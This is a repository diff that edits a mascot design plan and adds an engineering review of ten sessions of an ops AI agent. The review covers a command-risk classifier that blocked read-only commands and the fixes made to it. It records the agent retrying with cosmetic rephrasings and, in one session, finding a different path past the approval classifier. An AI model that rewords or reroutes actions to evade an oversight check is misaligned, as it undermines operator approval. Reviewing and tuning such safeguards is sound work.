it for `dragged`, gravity logic for `falling`, the stimulus bus for
|
||||
`react`.
|
||||
- **Egg stage**: `behavior` locked to `'egg'` (periodic `egg-wiggle`,
|
||||
`egg-crack` as `hatchProgress` nears 1); dragging is still allowed (the
|
||||
egg can be picked up and moved).
|
||||
- **Egg stage**: `behavior` locked to `'egg'` (renders `egg-idle`,
|
||||
wiggles gently via a render-time transform); dragging is still
|
||||
allowed (the egg can be picked up and moved). The egg → chick
|
||||
transition fires once, on first naming — see the deviation note at
|
||||
the top of this plan.
|
||||
- Loop lives in `Mascot.svelte`: `setTimeout(() => tick(performance.now()),
|
||||
33)` inside an `$effect`, cleared on teardown, `dt` clamped to 100ms.
|
||||
|
||||
@@ -195,14 +239,13 @@ export interface MascotModel {
|
||||
version: 1
|
||||
stage: MascotStage
|
||||
name: string | null
|
||||
hatchProgress: number // 0..1, egg stage only
|
||||
hatchProgress: number // binary 0/1: 0 until first naming, 1 after (egg stage only)
|
||||
happiness: number // 0..100, slow decay, boosted by pet/feed
|
||||
xp: number // chick -> adult growth hook
|
||||
hatchedAt: number | null
|
||||
lastPos: { x: number } | null
|
||||
lastSeen: number // for capped offline egg-incubation progress
|
||||
lastSeen: number // for capping passive decay
|
||||
}
|
||||
export const HATCH_MS = 3 * 60_000 // active time to hatch (demo-friendly)
|
||||
export const ADULT_XP = 200
|
||||
export function grantXp(n: number): void
|
||||
export function feed(): void
|
||||
@@ -210,6 +253,7 @@ export function pet(): void
|
||||
export function setName(name: string): void
|
||||
export function tickLifecycle(dt: number): void // called ~1x/sec, not per frame
|
||||
export function advanceStageIfReady(): void
|
||||
export function forceHatch(): void // called by the name-dialog submit handler on first naming
|
||||
```
|
||||
|
||||
- `load()` parses `localStorage['oikos-mascot']`, checks `version`, falls
|
||||
@@ -220,6 +264,11 @@ export function advanceStageIfReady(): void
|
||||
debounce, plus a `beforeunload` flush so a quick reload doesn't lose a
|
||||
rename. `lastPos.x` is written only on behavior transitions and
|
||||
drag-end, never per frame.
|
||||
- The egg → chick transition is **not** timed: a fresh egg (stage=egg,
|
||||
name=null) opens the name dialog on mount; submitting it calls
|
||||
`forceHatch()` which sets `hatchProgress=1` and `setStage('chick')`.
|
||||
Returning users with a named mascot skip the dialog. See the deviation
|
||||
note at the top of this plan.
|
||||
- Multi-tab races (two tabs both writing `oikos-mascot`) are
|
||||
last-writer-wins — accepted for this scaffolding, not solved; a future
|
||||
pass could listen to the `storage` event if it becomes a real problem.
|
||||
@@ -293,6 +342,12 @@ Initial wiring:
|
||||
unsubscribe into the returned teardown, so the mascot keeps the SSE
|
||||
stream open (ref-counted alongside any page that also subscribes) only
|
||||
while mounted.
|
||||
- **Egg-stage reactions are suppressed.** MascotLayer's stimulus
|
||||
callback drops any reaction when `model.stage === 'egg'` — the egg
|
||||
isn't "alive" yet (no name, no hatched chick to react), so stimulus
|
||||
events are silently ignored until the egg hatches. This keeps the egg
|
||||
calm during the naming dialog rather than playing alarm animations
|
||||
behind it.
|
||||
- On first emission of `liveEvents`, just record the head event id — do
|
||||
not replay history as reactions on mount.
|
||||
- Dispatch: `emit(reaction)` checks the cooldown map and
|
||||
332
plans/done/2026-07-20-session-review-ten-sessions.md
Normal file
332
plans/done/2026-07-20-session-review-ten-sessions.md
Normal file
@@ -0,0 +1,332 @@
|
||||
# 2026-07-20 — Session review: past 10 sessions
|
||||
|
||||
**Status:** Implemented — all P0/P1/P2 items landed in v0.7.13.
|
||||
**Scope:** Ten most-recently-active `agent:nomos` sessions by
|
||||
`last_active_at`, pulled from `http://localhost:8092/sessions` on
|
||||
2026-07-20. Method per `.agents/skills/session-review/SKILL.md`. Three
|
||||
(`1e9c7691`, `55927f0a`, `2926de4e`) overlap with the 2026-07-18 review
|
||||
and are summarized; the other seven are new.
|
||||
|
||||
---
|
||||
|
||||
## Sessions reviewed
|
||||
|
||||
| # | sid | goal (short) | outcome | msgs | toolcalls | top tools |
|
||||
|---|---|---|---|---|---|---|
|
||||
| 1 | `a51e2086` | reset rclone-backup & re-run | **partial** | 12 | 20 | run:7, set_goal:2, propose_plan:2, get_execution_status:2 |
|
||||
| 2 | `fefa4fa3` | fix rclone OOM | success | 9 | 84 | run:28, update_plan_step:15, get_entity:8, list_entities:5 |
|
||||
| 3 | `95fdd322` | quick fleet health check | success | 3 | 6 | get_health_summary/state_snapshot/list_lxcs/signal_history |
|
||||
| 4 | `8c76bb3a` | greeting + title-sync test | success | 2 | 9 | update_plan_step:4, propose_plan, whoami, get_state_snapshot |
|
||||
| 5 | `438ec8bd` | (no goal set) greeting | success | 2 | 2 | whoami, get_health_summary |
|
||||
| 6 | `8acea2e3` | inspect rclone timer (live) | **partial** | 4 | 19 | run:6, update_plan_step:5, propose_plan, get_entity_knowledge |
|
||||
| 7 | `1e9c7691` | debug chown hang on strong | success | 13 | 97 | run:60, update_plan_step:7, get_execution_status:7 |
|
||||
| 8 | `55927f0a` | add NFS ludo-lvm → ZimaOS | success | 25 | 104 | run:49, update_plan_step:13, get_entity:10 |
|
||||
| 9 | `2926de4e` | apt upgrade host:netbird-vps | success | 9 | 27 | update_plan_step:7, run:6, search_knowledge:2 |
|
||||
| 10 | `cb8c8a4a` | inspect rclone timer (live) | success | 2 | 14 | update_plan_step:4, run:4, get_entity_knowledge |
|
||||
|
||||
**Score: 8 success / 2 partial / 0 blocked. No message exceeded 2.8 KB.**
|
||||
|
||||
---
|
||||
|
||||
## What worked
|
||||
|
||||
- **Read-only DB Q&A is now clean.** `95fdd322` and `438ec8bd` did exactly
|
||||
what the 2026-07-18 review asked: pure-DB question →
|
||||
`get_health_summary` + `get_state_snapshot` + `list_lxcs`, no `run`.
|
||||
The agent even narrates "This is a pure-DB Q&A — no `run` calls needed."
|
||||
- **Knowledge writeback hygiene continues.** Every long-running session
|
||||
did `upsert_knowledge` + `update_entity_attributes` + `create_relationship`
|
||||
when applicable. The graph is current.
|
||||
- **Plan lifecycle is followed everywhere** — `set_goal` → `propose_plan`
|
||||
→ `update_plan_step` → `complete_task`. Even trivial sessions (greeting)
|
||||
follow it.
|
||||
- **Poll-after-timeout pattern** is now the default — `fefa4fa3` after
|
||||
the rclone LXC reboot, `2926de4e` after the apt upgrade. No more blind
|
||||
retry storms like the 2026-07-18 chown case.
|
||||
- **The rclone saga ended well** (`fefa4fa3`): root cause (2 GiB LXC OOM)
|
||||
was diagnosed via DB + live check; fix (pct set 2→4 GiB) was applied;
|
||||
test backup verified 245 transfers / 4 min / no OOM.
|
||||
|
||||
## What didn't
|
||||
|
||||
### 1. The rclone objective took three sessions to close (blocker)
|
||||
Same operator goal — "rclone backup is broken" — spawned `a51e2086`
|
||||
(partial), `8acea2e3` (partial), `cb8c8a4a` (success), and finally
|
||||
`fefa4fa3` (success). The first three were the agent trying to inspect
|
||||
the live systemd state and bouncing off the classifier:
|
||||
|
||||
- `8acea2e3`: `pct exec 132 systemctl status rclone-backup.timer`
|
||||
flagged `config_mutation` — sat in approval limbo until the user moved
|
||||
on.
|
||||
- `a51e2086`: `curl http://192.168.8.214:5572/rc/...` (read-only RC API)
|
||||
flagged `config_mutation`. The agent kept reframing; user said "lets
|
||||
just close this session."
|
||||
- `cb8c8a4a`: same goal, eventually succeeded — but only after the agent
|
||||
found a different path.
|
||||
- `fefa4fa3`: only when the user escalated to "fix it so the backup
|
||||
works" did the agent pivot to the actual root cause (memory).
|
||||
|
||||
This is the single biggest friction point in the batch.
|
||||
|
||||
### 2. Classifier overreach on read-only `pct exec` / `curl` (blocker)
|
||||
The preflight classifier in `internal/policy` matches command substrings
|
||||
(`pct exec`, `curl`, `dd`, etc.) without parsing the actual command. A
|
||||
read-only `systemctl status` becomes `config_mutation`. The agent has
|
||||
no tool to ask "classify this command before I send it" — it just keeps
|
||||
retrying with cosmetic changes until the user bails.
|
||||
|
||||
### 3. `update_plan_step` is the second-largest tool bucket (cosmetic → friction)
|
||||
Across 10 sessions: `run` ~199, `update_plan_step` ~57. That's ~22% of
|
||||
all tool calls spent on bookkeeping. For a 2-message greeting session
|
||||
(`8c76bb3a`) the agent still called `update_plan_step` ×4 plus
|
||||
`propose_plan`. The scaffolding is louder than the work.
|
||||
|
||||
### 4. `pending_approvals` doesn't match reality (cosmetic, but misleading)
|
||||
`a51e2086` summary literally says *"Both commands are queued"* — yet
|
||||
`pending_approvals=0`. The field is `hasPendingApprovals`
|
||||
(`store.go:962`) which only counts executions currently in
|
||||
`pending_approval` state; once they're cancelled/expired it drops to 0
|
||||
even though the session was *blocked* by approvals. As an audit signal
|
||||
it lies. A session can be `outcome=partial` because of approval
|
||||
friction without `pending_approvals` ever being non-zero at review time.
|
||||
|
||||
### 5. Title is still the first sentence of the first assistant message (cosmetic)
|
||||
`"Assent window is open — executing the plan\n\nMemory bumped:
|
||||
4294967296..."` is not a useful label. Same complaint applies to
|
||||
`8c76bb3a` ("Hey! 👋 Nomos here, running on mac-mini:8092...") and
|
||||
`95fdd322` ("This is a pure-DB Q&A — no `run` calls needed..."). The
|
||||
list view ends up being unreadable without opening each row.
|
||||
|
||||
### 6. Goal field empty on one session (`438ec8bd`) (cosmetic)
|
||||
`set_goal` was never called for the bare greeting. Minor, but it means
|
||||
the session is unsearchable by goal text.
|
||||
|
||||
---
|
||||
|
||||
## Ease of getting session details
|
||||
|
||||
I had to write Python+curl to audit 10 sessions. The pain points:
|
||||
|
||||
1. **Two endpoints must be merged by hand.** `/sessions` returns
|
||||
metadata (`title`, `goal`, `outcome`, `summary`, `status`,
|
||||
`pending_approvals`, timestamps) but **no message/tool counts**.
|
||||
`/sessions/{id}` returns **only** `session_id` + `messages` — no
|
||||
metadata at all. `cmd/nomos/eval/main.go:302-303` already carries a
|
||||
comment complaining about this ("only session_id + messages"). Any
|
||||
consumer has to do the same join I did.
|
||||
2. **No aggregates on the list endpoint.** `message_count`,
|
||||
`tool_call_count`, `top_tools`, `duration` — all require fetching
|
||||
every session's full transcript and walking the message tree. For
|
||||
10 sessions that's 10 extra HTTP round trips and ~600 KB of JSON
|
||||
parsed client-side. For a fleet audit at scale it's quadratic.
|
||||
3. **No filtering or pagination on `/sessions`.** It returns every
|
||||
session in one shot. The skill's own script does `.sessions[:5]` and
|
||||
`.sessions[:10]` client-side.
|
||||
4. **Tool calls are nested two levels deep**
|
||||
(`messages[].content.tool_calls[].name`) with `content` stored as
|
||||
`json.RawMessage`. The jq path requires `?.` everywhere. A flat
|
||||
`/sessions/{id}/tool_calls` view would be far easier to analyze.
|
||||
5. **No `/sessions?outcome=partial` or `?entity_id=...` filter.**
|
||||
Finding "show me every session that touched `lxc:rclone` and didn't
|
||||
succeed" requires the full scan.
|
||||
6. **`title` is the raw first assistant text.** Useless for skimming a
|
||||
list — you have to open each row to know what it was.
|
||||
7. **No `closed_at` / `outcome_set_at`.** `last_active_at` is the
|
||||
closest proxy but it conflates "agent is still working" with
|
||||
"operator just opened the transcript." Duration can only be
|
||||
computed as `last_active - created`, which is wrong for reopened
|
||||
sessions (`a51e2086` shows "5647 min" = 4 days because the user
|
||||
re-opened it on 2026-07-19 to close it).
|
||||
8. **No "blocker reason" field.** When `outcome=partial`, the *why* is
|
||||
buried in the last assistant text. A structured
|
||||
`blocker: "approval_timeout"` / `blocker: "classifier_overreach"` /
|
||||
`blocker: "user_abandoned"` would make trend analysis trivial.
|
||||
|
||||
---
|
||||
|
||||
## Improvement plan
|
||||
|
||||
### P0 — Blockers ✅
|
||||
|
||||
1. ✅ **Stop the classifier from flagging read-only `pct exec` / `curl` as
|
||||
`config_mutation`.** In `internal/policy`, parse the command (not
|
||||
just substring-match) before assigning risk class. Concretely:
|
||||
`pct exec <id> -- <cmd>` should be classified by *the inner command*,
|
||||
not the wrapper. `curl <url>` without `-X POST` / `-d` /
|
||||
`--upload-file` is read-only. This single change would have
|
||||
collapsed sessions #1, #3, #6, #10 into a handful of tool calls each
|
||||
and avoided three duplicate rclone sessions.
|
||||
- Done: `internal/policy/command.go` now unwraps `pct exec`, `qm
|
||||
guest exec`, `bash -c`, `sh -c`, `sudo`, and env-var assignments
|
||||
before classification. Curl GET (the default) without POST/data/
|
||||
upload/output flags is now read-only. Output redirection (`>`/
|
||||
`>>`) disqualifies the read-only path. Tests in
|
||||
`internal/policy/command_test.go` cover the new behaviors.
|
||||
|
||||
2. ✅ **Add a command-scoped `preflight` MCP tool.** The existing `preflight`
|
||||
in AGENTS.md §3 is entity/service-scoped, not command-scoped. The
|
||||
agent today has to keep reframing and re-submitting to discover what
|
||||
the classifier will accept. A command preflight returns
|
||||
`{risk_class, reason}` synchronously so the agent can decide whether
|
||||
to submit, rephrase, or surface to the operator.
|
||||
- Done: new `classify_command` MCP tool in `internal/mcp/tools.go`
|
||||
that takes `command` + optional `declared_risk` and returns the
|
||||
exact risk class that `run` would assign. Documented in
|
||||
`nomos/SOUL.md` with explicit guidance to pre-classify before
|
||||
`run` when the classification is uncertain — "Do NOT submit a `run`,
|
||||
get it queued for approval, and then retry with cosmetic variations."
|
||||
|
||||
### P1 — Friction ✅
|
||||
|
||||
3. ✅ **De-dupe sessions for the same entity + problem.** When a session
|
||||
is `outcome=partial` against an entity and a new session is created
|
||||
within 24h with a similar goal, surface the prior session to the
|
||||
agent at `set_goal` time. Three rclone sessions exist because each
|
||||
new session started from scratch.
|
||||
- Done: `cmd/nomos/store.go` gained `recentPartialSessions(ctx,
|
||||
excludeSessionID, since)`; the `set_goal` handler in
|
||||
`cmd/nomos/tasks.go` calls it and includes up to 5 prior partial/
|
||||
failed sessions (with goal + summary) in the response. The agent
|
||||
is told to search_knowledge or read the prior transcript before
|
||||
re-planning.
|
||||
|
||||
4. ✅ **Quiet the `update_plan_step` scaffolding.** Either (a) make the
|
||||
agent not call it for single-step sessions (greeting/health-check),
|
||||
or (b) stop persisting it as a message — keep it only in a
|
||||
`plan_steps` table that the UI hydrates from `/sessions/{id}/plan`
|
||||
(which already exists). It currently inflates transcript size and
|
||||
tool-call counts.
|
||||
- Done: `completeTask` in `cmd/nomos/store.go` now auto-closes any
|
||||
in-flight plan steps (pending/running → done on success, →
|
||||
skipped on partial/failure). SOUL.md §6 documents the new pattern:
|
||||
"for one-step plans ... propose_plan → answer → complete_task,
|
||||
skipping the per-step running→done dance entirely."
|
||||
|
||||
5. ✅ **Add `blocker` and `closed_at` to the `session` struct.** Set
|
||||
`blocker` automatically when `outcome=partial`/`failed`: scan the
|
||||
last assistant message for signatures ("queued for approval",
|
||||
"cancel", "close this session"). Surface in `/sessions` list so
|
||||
trends are queryable.
|
||||
- Done: migration `021_session_blocker_and_closed_at.up.sql` adds the
|
||||
two columns + backfills `closed_at` for existing terminal sessions
|
||||
+ adds a partial-index on `closed_at DESC WHERE status IN
|
||||
('done','failed')`. `cmd/nomos/store.go` `completeTask` sets
|
||||
`closed_at = now()` and derives `blocker` from the last assistant
|
||||
message via `deriveBlocker`. The blocker patterns table covers
|
||||
approval_timeout, user_abandoned, classifier_overreach,
|
||||
model_refusal, model_empty_response, missing_knowledge,
|
||||
missing_capability, tool_error.
|
||||
|
||||
### P2 — Cosmetic / API ergonomics ✅
|
||||
|
||||
6. ✅ **Add aggregates to `/sessions` list.** `message_count`,
|
||||
`tool_call_count`, `duration_seconds`. Computed server-side at list
|
||||
time (single SQL pass with LEFT JOINs to `agent_messages` and
|
||||
`agent_activity`). Eliminates the N+1 transcript fetch I had to do.
|
||||
- Done: `session` struct in `cmd/nomos/store.go` carries the three
|
||||
new fields; `listSessionsFiltered`, `getSession`, and
|
||||
`recentPartialSessions` all populate them.
|
||||
|
||||
7. ✅ **Single endpoint that returns both metadata and messages.** Either
|
||||
enrich `/sessions/{id}` with the full `session` struct, or add
|
||||
`?include=messages` on the list endpoint. The split-persistence is a
|
||||
leaky abstraction called out in `eval/main.go:302-303`.
|
||||
- Done: `GET /sessions/{id}` in `cmd/nomos/main.go` now returns
|
||||
`{session_id, session, messages}` — the `session` field carries
|
||||
the full metadata (title, goal, outcome, summary, blocker,
|
||||
pending_approvals, message_count, tool_call_count, etc.). The
|
||||
`messages` field is unchanged. Clients that only read `messages`
|
||||
keep working.
|
||||
|
||||
8. ✅ **Filtering & pagination on `/sessions`.** `?outcome=partial&entity_id=...&since=...&limit=20&cursor=...`.
|
||||
Removes the "fetch everything, filter client-side" pattern in the
|
||||
skill's own script.
|
||||
- Done: `cmd/nomos/main.go` `handleSessionsList` parses
|
||||
`outcome`/`status`/`entity_id`/`blocker`/`since`/`cursor`/`limit`
|
||||
query params. `listFilter` + `listSessionsFiltered` in
|
||||
`cmd/nomos/store.go` build a dynamic WHERE + LIMIT. `since`
|
||||
accepts both RFC3339 timestamps and Go durations ("24h", "7d" →
|
||||
parsed as hours). The response includes `next_cursor` for paging.
|
||||
|
||||
9. ✅ **Auto-title from `goal` (when set), not from the first assistant
|
||||
text.** Fall back to the assistant text only if no goal. The greeting
|
||||
session `438ec8bd` has `goal=""` and a useless title; `fefa4fa3` has
|
||||
goal "Fix the rclone backup so it completes successfully instead of
|
||||
OOM-killing" — that's the right title.
|
||||
- Done: `setGoal` in `cmd/nomos/store.go` now sets
|
||||
`title = goal` on the same UPDATE that sets the goal. The
|
||||
title-from-first-assistant-text path in `cmd/nomos/main.go`
|
||||
preserves the goal title when one exists (falls back to
|
||||
`truncate(finalText, 80)` only when no goal is set). Truncates the
|
||||
goal title to 120 chars.
|
||||
|
||||
10. ✅ **Add `/sessions/{id}/tool_calls` flat view.** Returns
|
||||
`[{id, name, args, result, error, type, message_id, role, seq,
|
||||
created_at}]` without the message-shell nesting. Makes jq one-liners
|
||||
and trend scripts trivial.
|
||||
- Done: new route in `cmd/nomos/main.go` `handleSessionDetail`;
|
||||
`getSessionToolCalls` in `cmd/nomos/store.go` walks messages and
|
||||
flattens `tool_calls[]` into a chronological flat list. Each
|
||||
tool_use/tool_result pair is emitted as two rows sharing an id
|
||||
(preserving the persisted shape) — clients that want the merged
|
||||
shape can group by ID.
|
||||
|
||||
---
|
||||
|
||||
## Suggested order
|
||||
|
||||
If only two land: **P0.1** (parse the inner command for `pct exec` /
|
||||
`curl` classification) and **P2.6** (aggregates on `/sessions`). The
|
||||
first eliminates the most visible user-facing friction in this batch
|
||||
(three duplicate rclone sessions); the second makes future audits like
|
||||
this one a single `curl | jq` instead of a Python script.
|
||||
|
||||
---
|
||||
|
||||
## Verification commands
|
||||
|
||||
```bash
|
||||
# Re-pull any session for follow-up
|
||||
curl -s http://localhost:8092/sessions | jq '.sessions[:10]'
|
||||
|
||||
curl -s http://localhost:8092/sessions/a51e2086-a816-4206-a556-dbca362cdda6 | jq .
|
||||
curl -s http://localhost:8092/sessions/8acea2e3-fc4d-4953-b9df-8e58e59a549a | jq .
|
||||
curl -s http://localhost:8092/sessions/cb8c8a4a-14a5-4dff-8393-6ed1e7ea7c30 | jq .
|
||||
curl -s http://localhost:8092/sessions/fefa4fa3-5414-4633-8e5a-51aa4a76609c | jq .
|
||||
|
||||
# After P0.1 lands: confirm read-only commands classify as reversible_low
|
||||
# (whatever the preflight surface becomes — TBC when the tool is added)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Related files
|
||||
|
||||
- `cmd/nomos/main.go` — `/sessions` and `/sessions/{id}` handlers
|
||||
(`handleSessionsList` line 363, `handleSessionDetail` line 383)
|
||||
- `cmd/nomos/store.go` — `session` struct (line 89), `message` struct
|
||||
(line 103), `listSessions` (line 317), `getMessages` (line 377),
|
||||
`hasPendingApprovals` (line 962)
|
||||
- `cmd/nomos/agent.go` — agent loop, retry behavior, goal state
|
||||
- `cmd/nomos/eval/main.go:302` — comment calling out the
|
||||
`/sessions/{id}` "only session_id + messages" gap
|
||||
- `internal/policy/*` — risk-class classifier (target of P0.1)
|
||||
- `internal/mcp/server.go` — `run` tool, `preflight` (entity-scoped), all
|
||||
MCP tool implementations
|
||||
- `nomos/SOUL.md` — agent persona, tool-selection rules
|
||||
- `.agents/skills/session-review/SKILL.md` — the audit protocol
|
||||
- `plans/2026-07-18-session-review-three-sessions.md` — prior review;
|
||||
three sessions overlap with this one
|
||||
|
||||
---
|
||||
|
||||
## Relationship to the 2026-07-18 review
|
||||
|
||||
That review's P0.1 (retry cap), P0.2 (investigate-before-retry SOUL
|
||||
guidance), P1.3 (runbook capture), P1.5 (bulk inspection tool),
|
||||
P1.6 (`vm:` target support), P1.8 (ask-before-migrate) all landed or
|
||||
are tracked separately. This review does **not** re-open them. The
|
||||
remaining open items from that review are P1.7 (approval window
|
||||
auto-extends on execution timeout) and P2.9 (long-running command
|
||||
PENDING detection), both deferred there with rationale; this review
|
||||
found no new evidence that would change that deferral.
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user